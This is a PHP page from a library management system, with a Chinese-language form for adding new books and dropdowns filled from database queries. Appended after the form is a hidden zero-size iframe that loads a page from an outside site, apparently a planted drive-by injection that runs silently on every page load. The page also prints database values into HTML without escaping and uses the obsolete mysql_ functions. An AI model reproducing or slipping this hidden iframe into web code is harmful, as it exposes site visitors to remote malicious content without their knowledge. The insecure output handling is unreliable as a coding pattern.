<?php  //插入數據
include "../config.php";
?>
<script language="javascript">
function check_file() 
{
  var strFileName=myform.coverphoto.value;
  var range = parent.HtmlEdit.document.selection.createRange();
  if (strFileName=="")
  {
    alert("請選擇要上傳的文件");
    return false;
  }
}
</script>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="xsrkcl.php" method="post" enctype="multipart/form-data" name="myform" >
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" colspan="4" class="tabletitle">　新書入庫</td>
    </tr>
    <tr>
      <td height="2" colspan="4" class="titlebg"></td>
    </tr>
    <tr>
      <td width="90" height="5" class="word">&nbsp;</td>
      <td width="375" height="5" align="left" class="word">&nbsp;</td>
      <td width="90" height="5" class="word">&nbsp;</td>
      <td width="210" height="5" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td width="90" height="35" class="word">　　圖書編號</td>
      <td width="375" height="35" align="left" class="word">
	  <input name="no" type="text" id="no" size="45" /></td>
      <td width="90" height="35" class="word">　圖書類別</td>
      <td width="210" height="35" align="left" class="word">
	  <select name="category" id="category">
	  
	  <?php //圖書類別下拉列表中的內容
$sql="select category from category";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
 echo "<option value=".$row["category"].">".$row["category"]."</option>";
}
?>
	  
	  
      </select>
      </td>
    </tr>
    <tr>
      <td width="90" height="35" class="word">　　圖書名稱</td>
      <td width="375" height="35" align="left" class="word"><input name="bookname" type="text" id="bookname" size="45" /></td>
      <td width="90" height="35" class="word">　存放位置</td>
      <td width="210" height="35" align="left" class="word">
	  <select name="location" id="location">
      	  <?php //存放位置下拉列表中的內容
$sql="select location from location";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
 echo "<option value=".$row["location"].">".$row["location"]."</option>";
}
?>
      </select></td>
    </tr>
    <tr>
      <td width="90" height="35" class="word">　　圖書作者</td>
      <td width="375" height="35" align="left" class="word"><input name="author" type="text" id="author" size="45" /></td>
      <td width="90" height="35" class="word">　圖書價格</td>
      <td width="210" height="35" align="left" class="word"><input name="price" type="text" id="price" size="20" />
元</td>
    </tr>
    <tr>
      <td width="90" height="35" class="word">　　出 版 社</td>
      <td width="375" height="35" align="left" class="word"><input name="press" type="text" id="press" size="45" /></td>
      <td width="90" height="35" class="word">　入庫數量</td>
      <td width="210" height="35" align="left" class="word"><input name="amount" type="text" id="amount" size="20" />
      本</td>
    </tr>
    <tr>
      <td width="90" height="35" class="word">　　出版時間</td>
      <td width="375" height="35" align="left" class="word"><input name="pubdate" type="text" id="pubdate" size="45" /></td>
      <td width="90" height="35" class="word">　圖書頁數</td>
      <td width="210" height="35" align="left" class="word"><input name="page" type="text" id="page" size="20" />
      頁</td>
    </tr>
    <tr>
      <td width="90" height="35" class="word">　　封面圖片</td>
      <td width="375" height="35" align="left" class="word">
  <input type="hidden" name="MAX_FILE_SIZE" value="2000000">
  <input name="coverphoto" type="FILE" class="tx1" size="30">&nbsp;
 <input type="submit" name="submit9" value="上傳" style="border:1px double rgb(88,88,88);font:9pt" onSubmit="return check_file()" > </td>
      <td width="90" height="35" class="word">　圖書狀態</td>
      <td width="210" height="35" align="left" class="word">
	  <select name="state" id="state">
      <?php //狀態下拉列表中的內容
$sql="select state from state";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
 echo "<option value=".$row["state"].">".$row["state"]."</option>";
}
?>
      </select></td>
    </tr>
    <tr>
      <td width="110" height="120" class="word">　　簡　　介</td>
      <td height="120" colspan="3" class="word"><textarea name="intro" cols="85" rows="6" id="intro"></textarea></td>
    </tr>
    <tr>
      <td height="2" colspan="4" align="center" class="titlebg"></td>
    </tr>
    <tr>
      <td height="67" colspan="4" align="center" class="word">　　　　　　　
        <input type="submit" name="submit" value="保存繼續" />　　
        　
        <input type="reset" name="Submit3" value="清空內容" />
      　　　
      <input type="button" name="Submit2" value="返回" /></td>
    </tr>
  </table>
</form>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>